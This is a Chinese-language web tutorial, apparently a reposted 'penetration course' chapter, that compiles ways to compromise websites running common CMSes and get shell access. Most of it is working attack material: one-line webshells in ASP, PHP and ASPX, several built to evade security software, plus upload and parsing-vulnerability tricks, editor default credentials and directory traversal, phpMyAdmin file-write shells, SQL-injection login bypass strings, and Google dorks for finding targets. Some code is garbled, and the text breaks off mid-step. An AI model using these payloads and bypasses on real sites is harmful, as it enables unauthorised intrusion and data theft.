【滲透課程】特別篇-主流網站程序Oday大全以及拿shell思路
版權和內容說明：
這篇文章不是本站編寫,是從網絡上摘抄的,可是通過了本站的改寫優化,並將內容,格式規範化。javascript
本篇說明：這篇文章結合了前輩們前幾年一路挖掘出來的主流程序漏洞以及思路, 小編寫在前面是想讓你們大體瞭解一下,由於《滲透課程》之後的內容,就是圍繞着本篇所涉及的內容進行深度邏輯原理剖析。php
這是一篇比較徹底的基本滲透筆記。看不懂不要緊,後面會一一講解不過本章的內容讀者們要儘可能保存,可能會在拿站的時候應用到呢！css
常見網站程序asp類：
foosun(風訊)html
kesion(科汛)java
newasp(新雲)mysql
喬客CreateLive(創力)linux
5uCMSKingCMSweb
DvBBS(動網)sql
BBSxp[博客]zblogthinkphp
PHP類：
DeDeCms（織夢）
ECMS（帝國）
PHPCMS
PHP168
HBcms（宏博）SupeSite
CMSware(思惟)Joomla!
[BBS]Discuz!
[BBS]phpWind[SNS]UCenterHome
[SNS]ThinkSNS[商城]EcShop
[商城]ShopEx[博客]WordPress
[維基]HDWiki
[微博]PHPsay[DIGG]PBdigg
PHP程序來源默認絕對路徑
開源系統 數據庫配置文件名 文件名所在的目錄
Discuz! config.inc.php ./ config.inc.php
Phpcms config.inc.php ./include/config.inc.php
Wodpress wp-config.php ./ wp-config.php
Phpwind sqlconfig.php ./data/sqlconfig.php
phpweb config.inc.php ./config.inc.php
Php168v6 mysql_config.php ./php168/ mysql_config.php
Shopex config.php ./config/config.php
Ecshop config.php ./data/config.php
Joomla configuration.php ./ configuration.php
UCenter config.inc.php ./data/config.inc.php
EmpireCMS config.php ./e/class/config.php
Dedecms common.inc.php .data/common.inc.php
Zen Cart configure.php ./includes/configure.php
Mediawiki localsettints.php ./config/localsettints.php
Ecshop config.php ./data/config.php
osCommerce configure.php ./includes/configure.php
【 谷歌語法 】
site：能夠限制你搜索範圍的域名.
inurl：用於搜索網頁上包含的URL，這個語法對尋找網頁上的搜索，幫助之類的頗有用.
intext: 只搜索網頁部分中包含的文字(也就是忽略了標題、URL等的文字)
intitle: 查包含關鍵詞的頁面，通常用於社工別人的webshell密碼
filetype：搜索文件的後綴或者擴展名
intitle：限制你搜索的網頁標題.
link: 能夠獲得一個全部包含了某個指定URL的頁面列表.
查找後臺地址：site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本內容：site:域名 intext:管理|後臺|登錄|用戶名|密碼|驗證碼|系統|賬號|admin|login|sys|managetem|password|username
查找可注入點：site:域名 inurl:aspx|jsp|php|asp
查找上傳漏洞：site:域名 inurl:file|load|editor|Files
找eweb編輯器：site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的數據庫：site:域名 filetype:mdb|asp|#
查看腳本類型：site:域名 filetype:asp/aspx/php/jsp
迂迴策略入侵：inurl:cms/data/templates/images/index/
網絡設備關鍵詞：intext:WEB Management Interface for H3C SecPath Series
【 一句話木馬 】
asp一句話木馬：<%eval request(「x」)%>
php一句話木馬：
aspx一句話：<%@ Page Language=」Jscript」%><%eval(Request.Item[「x」],」unsafe」);%>
網站配置、版權信息專用一句話：」%><%Eval Request(x)%>
一句話再過護衛神：<%Y=request(「x」)%> <%execute(Y)%>
過攔截一句話木馬：<% eXEcGlOBaL ReQuEsT(「x」) %>
asp閉合型一句話 %><%eval request(「0o1Znz1ow」)%><%
能過安全狗的解析格式：;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg
突破安全狗的一句話：<%Y=request(「x」)%> <%eval(Y)%>
elong過安全狗的php一句話：
後臺經常使用寫入php一句話（密碼x）：
<?
$fp = @fopen(「c.php」, ‘a’);
@fwrite($fp, ‘<‘.’?php’.」rnrn」.’eval($_POST[x])’.」rnrn?」.」>rn」);
@fclose($fp);
?>
高強度php一句話：
新型變異PHP一句話(密碼b4dboy):
($b4dboy = $_POST[‘b4dboy’]) && @preg_replace(‘/ad/e’,’@’.str_rot13(‘riny’).’($b4dboy)’, ‘add’);
突破安全狗的aspx一句話：<%@ Page Language=」C#」 ValidateRequest=」false」 %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[「你的密碼」].Value))).CreateInstance(「c」, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
突破護衛神，保護盾一句話：
許多網頁程序都不容許包含〈%%〉標記符號的內容的文件上傳，這樣一句話木馬就寫入不進數據庫了。
改爲：〈scriptlanguage=VBScript runat=server〉execute request(「l」)〈/Script〉
這樣就避開了使用〈%%〉，保存爲.ASP,程序照樣執行的效果是同樣的。
PHP高強度一句話：
菜刀鏈接：/x.php?x=lostwolf 腳本類型：php 密碼：c
菜刀鏈接 躲避檢測 密碼：c
【 解析漏洞總結 】
IIS 6.0
目錄解析：/xx.asp/xx.jpg xx.jpg可替換爲任意文本文件(e.g. xx.txt)，文本內容爲後門代碼IIS6.0 會將 xx.jpg 解析爲 asp 文件。
後綴解析：/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改文件名)
IIS6.0 都會把此類後綴文件成功解析爲 asp 文件。
默認解析：/xx.asa /xx.cer /xx.cdx
IIS6.0 默認的可執行文件除了 asp 還包含這三種
此處可聯繫利用目錄解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
IIS 7.0/ IIS 7.5/ Nginx <8.03
在默認Fast-CGI開啓情況下,在一個文件路徑(/xx.jpg)後面加上/xx.php會將 /xx.jpg/xx.php 解析爲 php 文件。
經常使用利用方法： 將一張圖和一個寫入後門代碼的文本文件合併 將惡意文本寫入圖片的二進制代碼以後，避免破壞圖片文件頭和尾
e.g.
copy xx.jpg/b + yy.txt/a xy.jpg
/b 即二進制[binary]模式
/a 即ascii模式 xx.jpg正常圖片文件
yy.txt 內容
’);?>
意思爲寫入一個內容爲
名稱爲shell.php的文件
找個地方上傳 xy.jpg ,而後找到 xy.jpg 的地址，在地址後加上 /xx.php 便可執行惡意文本。
.而後就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd
【 ewebeditor編輯器 】
默認後臺：ewebeditor/admin_login.asp
賬號密碼：admin admin
樣式設計：ewebeditor/admin_style.asp
查看版本：ewebeditor/dialog/about.html
數據庫路徑：db/ewebeditor.mdb db/%23ewebeditor.mdb db/%23ewebeditor.asp ewebeditor/db/!@#ewebeditor.asp (用谷歌語法找文件名)
遍歷目錄：ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =../..
跳轉目錄：ewebeditor/admin_uoloadfile.asp？id=14&dir=.. (dir爲列目錄, ..爲返回上層目錄)，形式:dir ../..
點上傳文件管理-隨便選擇一個樣式目錄，獲得：ewindoweditor/admin_uoloadfile.asp?id=14 在id=14後面加&dir=../../../.. 就可看到整個網站的文件了(../本身加減)
( ewebeditor5.5版本 )
默認後臺：ewebeditor/admin/login.asp
賬號密碼：admin 198625
數據庫路徑：data/%23sze7xiaohu.mdb
遍歷目錄：ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=../
調用樣式上傳頁面：ewebeditor/ewebeditor.htm?id=body&style=popup
( ewebeditor3.8 php版本 )
默認後臺：eWebEditor/admin/login.php
首先隨便輸入一個賬號和密碼，接着系統會提示出錯，這時清空瀏覽器的url，而後輸入如下代碼後連按三次回車鍵：
javascript:alert(document.cookie=」adminuser=」+escape(」admin」));javascript:alert(document.cookie=」adminpass=」+escape(」admin」));javascript:alert(document.cookie=」admindj=」+escape(」1」));
接着訪問文件：ewebeditor/admin/default.php 就能夠直接進入後臺了。
( ewebeditor編輯器exp手冊 )
有時候什麼後綴都上傳了，仍是不行。就增長一個asp:jpg格式 上傳asp:jpg 試試
一：文件上傳成功了，可是訪問不成功，說明該目錄(好比：/UploadFile)被設置了權限，返回去換成/ 上傳到根目錄就好了.增長asp等不行的時候，能夠利用解析asp;jpg
二：下載數據庫查看前人留下的痕跡，再訪問上傳頁面拿shell。
頁面路徑：/ewebeditor.asp?id=48&style=popu7 用工具瀏覽數據庫找到已添加asp|asa|cer|php的欄目，把S_ID跟S_Name的值替換在語句裏訪問，上傳相對應的格式木馬。
【 fckeditor編輯器 】
查看版本：fckeditor/editor/dialog/fck_about.html
編輯器頁面：FCKeditor/_samples/default.html
上傳頁面：fckeditor/editor/filemanager/connectors/test.html
遍歷目錄：FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/
編輯頁面：fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
查看文件上傳路徑：fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=
( 拿shell方法總結 )
ASPX的站幾乎都用fck編輯器，建議用工具掃一下，記住inc目錄下可能存在fck編輯器，掃下這個目錄。
一：若是是iis6.0，上傳兩次 1.asp;.jpg 或者1.asp;1.jpg 或者建立x.asp目錄，再在這個目錄下上傳x.jpg 或者直接上傳1.asp;jpg 均可以完美解析拿下shell
二：第一次上傳1.asp;1.jpg，被重命名爲：1_asp;1.jpg，可是第二次上傳1.asp;1.jpg，就有可能變成：1.asp;1(1).jpg
三：iis7.5+fck的解析文件爲：a.aspx.a;.a.aspx.jpg..jpg.aspx
四：若是不是iis6.0 上傳1.asp;jpg而後抓包，接下來改包，將分號變成空格，再用c32把20改爲00，保存，利用%00 截斷分號兩次
五：成功訪問別人的一句話木馬頁面，http://xx.com/UploadFilesEditorFilefile/2.asp;2(1).jpg 但不知道密碼
http://xx.com/UploadFilesEditorFilefile2_asp;2.jpg 這個是圖片木馬，沒有成功利用iis6.0解析漏洞仍是圖片，下載下來用記事本打開找到密碼。
六：IIS7.0/7.5 通殺oday，把php一句話木馬後綴改爲1.jpg傳上去，找出一句話的路徑後，在1.jpg的後面添加/.php 例如：http://www.xxx.com/iges/php.jpg/.php
( 創建文件夾 . 變 _ 的突破方法 )
利用Fiddler web debugger 這款工具來進行修改數據包，從而達到突破的目的。
注意：安裝Fiddler web debugger，須要安裝.net環境以及.net的SP2補丁方可運行！
1.打開fck的上傳頁面，例如：fckeditor/editor/filemanager/browser/default/connectors/test.html
2.再打開Fiddler web debugger這款工具，點擊設置–自動斷點–選擇 「請求以前」
3.接着打開fck的上傳頁面，建立文件夾，並輸入你想要建立的文件名，例如：x.asp
4.而後返回到Fiddler web debugger這款工具裏，選擇連接–點擊右側的嗅探
5.修改currentfolder內的參數，改爲你要創建的文件夾名字，如：x.asp
6.而後點擊右側的：run to completion
7.再點擊軟件設置–自動斷點–禁用，再到瀏覽器裏點擊肯定創建文件夾，你就會發現文件夾創建爲x.asp了
【 linux 】
解析格式：1.php.xxx (xxx能夠是任意)
若是apache不認識後綴爲rar的文件，咱們就用1.php.rar格式上傳，文件就會被服務器當作PHP腳本解析。
辨別linux系統方法：例如：http://www.xxx.com/xxx/abc.asp?id=125 把b換成大寫B訪問，若是出錯了，就說明是linux系統，反之是windows系統.
【 旁註 】
旁註的技巧就是挑選支持aspx的站來日，這樣提權時候但願較大，如何探測服務器上哪些站點支持aspx呢? 利用bing搜索：http://cn.bing.com/ 搜索格式：ip:服務器ip aspx
好比要入侵一個網站，想知道該網站支不支持aspx，就在網站後面隨便加上一個xxx.aspx回車，若是顯示的不是iis默認的錯誤頁面，而是這種：「/」應用程序中的服務器錯誤，說明支持aspx馬。
【 phpmyadmin 】
查看版本：test.php 或 phpinfo.php
默認帳號密碼：root root
萬能賬號密碼：’localhost’@’@」 密碼空
拿shell第一種方法：
CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );
INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (‘
’);
SELECT darkmoon1 FROM darkmoon INTO OUTFILE ‘d:/wamp/www/darkmoon.php’;
DROP TABLE IF EXISTS darkmoon;
拿shell第二種方法：
Create TABLE moon (darkmoon text NOT NULL);
Insert INTO moon (darkmoon) VALUES(‘
’);
select darkmoon from moon into outfile ‘d:/wamp/www/darkmoon2.php’;
Drop TABLE IF EXISTS moon;
拿shell第三種方法：
select ‘
’INTO OUTFILE ‘d:/wamp/www/darkmoon3.php’
拿shell第四種方法
select ‘
’ INTO OUTFILE ‘d:/wamp/www/darkmoon4.php’
127.0.0.1/darkmoon4.php?cmd=net user
找到mysql數據庫，執行sql語句便可寫入一句話，再菜刀鏈接便可。
phpmyadmin脫褲
在這裏面是能夠直接拖庫的，如同上傳php拖庫腳本同樣，操做差很少的。
修改mysql默認的root用戶名方法:
進入phpmyadmin,進入mysql表,執行sql語句
1.update user set user=’你的新root用戶名’ where user=’root’;
2.flush privileges;
例如：
用root身份登入，進入mysql庫，修改user表便可。
1.use mysql;
2.mysql>update user set user=’newName’ where user=’root’;
3.mysql> flush privileges;
【 萬能密碼 】
( php )
賬號：’ UNION Select 1,1,1 FROM admin Where 」=’
密碼：1
( asp )
‘xor
‘or’=’or’
‘or」=」or」=’
‘or ‘1’=’1’or ‘1’=’1
‘or 1=1/*
【 批量關鍵詞 】
inurl:asp?id=
inurl:detail.php?
CompHonorBig.asp?id= 很不錯的的一個搜索注入點
inurl:show.asp? 很是強大
site:www.yuming.com
inurl:articleshow.asp?articleid=數字
inurl:szwyadmin/login.asp
inurl:asp?id=1 intitle:政府
杭州 inurl:Article_Class2.asp?
【 木馬後門 】
1.TNTHK小組內部版 —— 存在關鍵詞後門，隨便輸入一個錯的密碼，右鍵查看源文件，找到錯誤關鍵詞後面的font，在font後面的就是正確密碼。
2.不滅之魂—不死殭屍變種 —— 用這款工具專門爆這款大馬的密碼：爆不滅之魂密碼
3.終極防刪免殺多功能VIP版本-無後門 —— 萬能密碼：wbgz 菜刀鏈接：kk
【 安全狗 】
1.過注入
方法一：a.asp?aaa=%00&id=sql語句
方法二： a.asp?id=sql語句 裏面把安全過濾的加個%l 好比： un%aion sel%aect 1,2,3,4 fr%aom admin
2.過大馬被阻攔訪問
方法一：上傳一個大馬 而後訪問http://sss.com/dama.asp ; 訪問後出現攔截。
那麼解決方法 先將dama.asp更名dama.jpg上傳，而後在同目錄上傳個文件da.asp 內容爲： <!–#include file=」dama.jpg」 –> 這樣再訪問da.asp 就不會被攔截了。
3.過菜刀鏈接一句話被攔截
方法一：不用菜刀鏈接一句話，用別的一句話鏈接端。
方法二：中轉下鏈接菜刀，把過濾掉的詞替換掉。
【 本地構造上傳漏洞 】
尋找程序上傳漏洞，必須從上傳頁面的源文件入手，目標有兩個：
1.filename (文件名稱) 在上傳頁面中針對文件擴展名過濾不嚴，從而上傳可執行的腳本木馬。
2.filepath (文件路徑) 在上傳頁面針對路徑過濾不嚴，致使能夠修改上傳相對路徑上傳腳本木馬。
當檢測到一個上傳頁面，asp、asa後綴已經被過濾掉的時候，能夠嘗試抓包明小子或NC上傳！
不行就利用本地上傳漏洞構造上傳！例如上傳頁面是：http://www.xx.com/upfile_other.asp
1.右鍵查看源文件，找到這段代碼：
- 1. 【滲透技巧】內網滲透思路
- 2. 滲透思路
- 3. 網站滲透工具大全
- 4. 虛擬幣網站安全防禦 滲透測試流程
- 5. 網站漏洞安全測試 具體滲透思路分析
- 6. 滲透教程自學 網站滲透新手入門教程
- 7. 網站滲透思路(小白專看,大佬繞道)
- 8. 【安全】Web滲透測試（全流程）
- 9. wordpress滲透思路
- 10. web滲透思路
- 更多相關文章...
- • 網站主機教程 - 網站主機教程
- • 網站品質 教程 - 網站品質教程
- • JDK13 GA發佈：5大特性解讀
- • Java 8 Stream 教程
-
每一个你不满意的现在，都有一个你没有努力的曾经。
- 1. 【滲透技巧】內網滲透思路
- 2. 滲透思路
- 3. 網站滲透工具大全
- 4. 虛擬幣網站安全防禦 滲透測試流程
- 5. 網站漏洞安全測試 具體滲透思路分析
- 6. 滲透教程自學 網站滲透新手入門教程
- 7. 網站滲透思路(小白專看,大佬繞道)
- 8. 【安全】Web滲透測試（全流程）
- 9. wordpress滲透思路
- 10. web滲透思路